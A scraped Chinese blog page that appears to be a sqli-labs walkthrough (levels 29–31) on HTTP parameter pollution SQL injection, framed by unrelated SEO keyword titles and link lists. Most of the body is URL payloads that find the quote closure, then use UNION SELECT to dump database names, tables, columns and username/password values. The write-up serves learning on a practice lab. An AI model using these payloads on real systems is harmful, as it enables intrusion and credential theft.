当前位置: 首页 > news >正文

徐州cms模板建站建设购物网站多少钱

徐州cms模板建站,建设购物网站多少钱,discuz图片网站模板,局域网网站建设软件目录 前言 less29(单引号http参数污染) less30(双引号http参数污染) less31(双引号括号http参数污染) 前言 在JSP中,使用request.getParameter("id")获取请求参数时,如果存在多个同名参数&a…

目录

前言

less29(单引号http参数污染)

less30(双引号http参数污染)

less31(双引号括号http参数污染)



前言

JSP中,使用request.getParameter("id")获取请求参数时,如果存在多个同名参数,它会返回第一个参数的值。这是因为request.getParameter()方法的设计是返回第一个匹配的参数值。

PHP中,使用$_GET["id"]获取请求参数时,如果存在多个同名参数,它会返回最后一个参数的值。这是因为PHP的$_GET超全局数组会覆盖前面的同名参数值。

比如:

?id=2&id=1返回的是id=1的请求:



less29(单引号http参数污染)

这一关如果直接union查询注入,就是很基础的sql注入。其实这里考查的是http参数污染注入。

?id=2&id=1'报错——判断为单引号闭合

?id=2&id=1'--+正常回显——确定为单引号闭合

?id=2&id=1' order by 3--+——判断有三处回显

?id=2&id=' union select 1,2,3--+——判断出回显位置

?id=2&id=' union select 1,user(),database()--+——爆数据库和数据库用户:

?id=2&id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+——爆表名

?id=2&id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+——爆字段名

?id=2&id=' union select 1,2,group_concat(id) from security.users--+—— 爆数据



less30(双引号http参数污染)

?id=a&id=1'正常回显

?id=a&id=1"无回显——判断为双引号闭合

?id=a&id=1"--+——正常回显,确定为双引号闭合

?id=a&id=1" order by 3--+——判断有三处回显位

?id=a&id=" union select 1,2,3--+——找到回显位置

?id=a&id=" union select 1,2,database()--+——爆数据库

?id=a&id=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+——爆表名

?id=a&id=" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+——爆字段名

?id=a&id=" union select 1,2,group_concat(username,password) from security.users--+——爆数据



less31(双引号括号http参数污染)

?id=0&id=2正常回显,?id=0&id=2'正常回显

?id=0&id=2"报错——判断为双引号闭合

?id=0&id=2"--+又报错

?id=0&id=2")--+正常回显——判断为双引号括号闭合:

?id=0&id=2") order by 3--+——判断有三处回显

?id=0&id=") union select 1,2,3--+——找到回显位置

?id=0&id=") union select 1,2,database()--+——爆数据库

?id=0&id=") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+——爆表名

?id=0&id=") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+——爆字段名

?id=0&id=") union select 1,2,group_concat(id,password) from security.users--+——爆数据



http://www.dtcms.com/a/458599.html

相关文章:

  • 视频网站点击链接怎么做的工业设计出来做什么
  • 怎样把网站做的漂亮个人网站用主机做服务器
  • 备案掉了网站会怎样开发一套小区多少钱
  • Java基础 10.8
  • 长湖南营销型网站简单网站建设公司
  • 计算机基础——浏览器、算法、计算机原理和编译原理等
  • 网站制作企业有哪些下页
  • 企业做外贸网站常用术语通江移动网站建设
  • vultr做网站广东软件公司排名
  • [1]python爬虫入门,爬取豆瓣电影top250实践
  • 学习网站开发体会与感想wordpress多语言插件:qtranslate
  • 辽源市网站建设html怎么制作网页
  • 旅游网站建设的目标蓝天下品牌运营业务展示
  • 网站死循环青岛网红打卡景点
  • 域名过期做的网站怎么办门户网站建设与推广方案
  • 文档做网站闵行营销型网站制作
  • 网页设计报告模板免费wordpress安装后优化
  • 重庆制作网站公司简介网上商城运营推广方案
  • 网站代码怎么打开青岛制作公司网站
  • 适合女生做的网站主题做网站销售一个星期的计划
  • 郑州一凡网站建设简易手机站
  • 软件的基础原理
  • 临安城市建设公司网站丽水山耕品牌建设网站
  • 部门网站建设工作总结西安seo主管
  • 淮安市建设局网站首页中国电建成都设计院
  • Java--文件操作和IO
  • 收费的网站怎么做的哪个小说网站可以做封面
  • Kotlin when 用法完整分享
  • 巩义网站建设汕头市网络推广报价
  • 有哪些网站建设工作推广文案怎么写